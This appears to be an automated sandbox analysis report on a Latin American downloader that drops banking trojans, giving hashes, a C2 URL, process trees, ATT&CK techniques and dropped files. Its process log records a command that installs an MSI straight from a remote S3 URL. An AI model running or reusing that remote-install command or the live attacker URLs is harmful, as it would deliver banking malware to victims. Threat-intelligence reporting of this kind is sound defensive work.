latam_generic_downloader | c4919fddd43c203fef53a99e165c08dd26cc595693d293af25c11d21baec49de

General

Target

BoIetos - 16-11.lnk
Size

1KB
MD5

679deb658850ade14d991d11fc17fd79
SHA1

9ba091d7556fbc8b2c254452344b4c4b2353fbad
SHA256

c4919fddd43c203fef53a99e165c08dd26cc595693d293af25c11d21baec49de
SHA512

71dfb75bef210abe99af5390ca3748b637dc0310ff2d7a68cf04ff2c80523a293d9d951457cfd37a6ffbba95d5cca27c6bd51c54042bba53df5f9bc25e193089

Score

10^/10

latam_generic_downloader banker loader

Malware Config

Extracted

Family

latam_generic_downloader

C2

http://ec2-52-53-236-128.us-west-1.compute.amazonaws.com/softcom.base

Signatures

Generic LATAM Downloader
Generic Latin American MSI downloader used to drop various banking trojans.
loader banker latam_generic_downloader
Blocklisted process makes network request 2 IoCs

Processes:

msiexec.exeMsiExec.exe

flow pid process

5 1504 msiexec.exe
9 1628 MsiExec.exe
Loads dropped DLL 2 IoCs

Processes:

MsiExec.exe

pid process

1628 MsiExec.exe
1628 MsiExec.exe
Use of msiexec (install) with remote resource 1 IoCs

Processes:

msiexec.exe

pid process

1504 msiexec.exe

flow	pid	process
5	1504	msiexec.exe
9	1628	MsiExec.exe

pid	process
1628	MsiExec.exe
1628	MsiExec.exe

pid	process
1504	msiexec.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Drops file in Windows directory 3 IoCs

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSI57D0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI671C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6C2C.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies data under HKEY_USERS 1 IoCs

Processes:

msiexec.exe

description ioc process

Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

msiexec.exe

pid process

1504 msiexec.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	msiexec.exe

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
1504	msiexec.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	1504	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1504	msiexec.exe
Token: SeRestorePrivilege	1504	msiexec.exe
Token: SeTakeOwnershipPrivilege	1504	msiexec.exe
Token: SeRestorePrivilege	1816	msiexec.exe
Token: SeTakeOwnershipPrivilege	1816	msiexec.exe
Token: SeSecurityPrivilege	1816	msiexec.exe
Token: SeCreateTokenPrivilege	1504	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1504	msiexec.exe
Token: SeLockMemoryPrivilege	1504	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1504	msiexec.exe
Token: SeMachineAccountPrivilege	1504	msiexec.exe
Token: SeTcbPrivilege	1504	msiexec.exe
Token: SeSecurityPrivilege	1504	msiexec.exe
Token: SeTakeOwnershipPrivilege	1504	msiexec.exe
Token: SeLoadDriverPrivilege	1504	msiexec.exe
Token: SeSystemProfilePrivilege	1504	msiexec.exe
Token: SeSystemtimePrivilege	1504	msiexec.exe
Token: SeProfSingleProcessPrivilege	1504	msiexec.exe
Token: SeIncBasePriorityPrivilege	1504	msiexec.exe
Token: SeCreatePagefilePrivilege	1504	msiexec.exe
Token: SeCreatePermanentPrivilege	1504	msiexec.exe
Token: SeBackupPrivilege	1504	msiexec.exe
Token: SeRestorePrivilege	1504	msiexec.exe
Token: SeShutdownPrivilege	1504	msiexec.exe
Token: SeDebugPrivilege	1504	msiexec.exe
Token: SeAuditPrivilege	1504	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1504	msiexec.exe
Token: SeChangeNotifyPrivilege	1504	msiexec.exe
Token: SeRemoteShutdownPrivilege	1504	msiexec.exe
Token: SeUndockPrivilege	1504	msiexec.exe
Token: SeSyncAgentPrivilege	1504	msiexec.exe
Token: SeEnableDelegationPrivilege	1504	msiexec.exe
Token: SeManageVolumePrivilege	1504	msiexec.exe
Token: SeImpersonatePrivilege	1504	msiexec.exe
Token: SeCreateGlobalPrivilege	1504	msiexec.exe
Token: SeRestorePrivilege	1816	msiexec.exe
Token: SeTakeOwnershipPrivilege	1816	msiexec.exe
Token: SeRestorePrivilege	1816	msiexec.exe
Token: SeTakeOwnershipPrivilege	1816	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msiexec.exe

pid process

1504 msiexec.exe
1504 msiexec.exe

pid	process
1504	msiexec.exe
1504	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exemsiexec.exe

description	pid	process	target process
PID 1680 wrote to memory of 1504	1680	cmd.exe	msiexec.exe
PID 1680 wrote to memory of 1504	1680	cmd.exe	msiexec.exe
PID 1680 wrote to memory of 1504	1680	cmd.exe	msiexec.exe
PID 1680 wrote to memory of 1504	1680	cmd.exe	msiexec.exe
PID 1680 wrote to memory of 1504	1680	cmd.exe	msiexec.exe
PID 1816 wrote to memory of 1628	1816	msiexec.exe	MsiExec.exe
PID 1816 wrote to memory of 1628	1816	msiexec.exe	MsiExec.exe
PID 1816 wrote to memory of 1628	1816	msiexec.exe	MsiExec.exe
PID 1816 wrote to memory of 1628	1816	msiexec.exe	MsiExec.exe
PID 1816 wrote to memory of 1628	1816	msiexec.exe	MsiExec.exe
PID 1816 wrote to memory of 1628	1816	msiexec.exe	MsiExec.exe
PID 1816 wrote to memory of 1628	1816	msiexec.exe	MsiExec.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\BoIetos - 16-11.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "https://yd2.s3.eu-central-1.amazonaws.com/lnstaIIog.msi"
2⤵
- Blocklisted process makes network request
- Use of msiexec (install) with remote resource
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1504

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 7DF191B25F5624DFDECEA07B2717F596
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:1628

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Windows\Installer\MSI57D0.tmp
MD5
6c987b189e48785533c1513488d9955b

SHA1
676f1ecac88f11f42673329a35c1d77351890869

SHA256
f67a12cfac8cc2bd55220006aaef6f26bcb1d46dd5229344c9e56bf547755f5f

SHA512
665ffba92e50a9878dbf49590297cd51e49496d69c71a3141db77f2da0f57f060fef422a483ffbf7195181b190f4a00bd4e415576e64ae8891fbf2fd6a65f8c5

Download Submit
C:\Windows\Installer\MSI671C.tmp
MD5
9f1e5d66c2889018daef4aef604eebc4

SHA1
b80294261c8a1635e16e14f55a3d76889ff2c857

SHA256
02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

SHA512
8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

Download Submit
C:\Windows\Installer\MSI6C2C.tmp
MD5
9f1e5d66c2889018daef4aef604eebc4

SHA1
b80294261c8a1635e16e14f55a3d76889ff2c857

SHA256
02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

SHA512
8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

Download Submit
\Windows\Installer\MSI671C.tmp
MD5
9f1e5d66c2889018daef4aef604eebc4

SHA1
b80294261c8a1635e16e14f55a3d76889ff2c857

SHA256
02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

SHA512
8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

Download Submit
\Windows\Installer\MSI6C2C.tmp
MD5
9f1e5d66c2889018daef4aef604eebc4

SHA1
b80294261c8a1635e16e14f55a3d76889ff2c857

SHA256
02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

SHA512
8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

Download Submit
memory/1504-56-0x0000000000000000-mapping.dmp

Download
memory/1628-60-0x0000000000000000-mapping.dmp

Download
memory/1628-61-0x00000000754F1000-0x00000000754F3000-memory.dmp

Filesize
8KB

Download
memory/1680-55-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads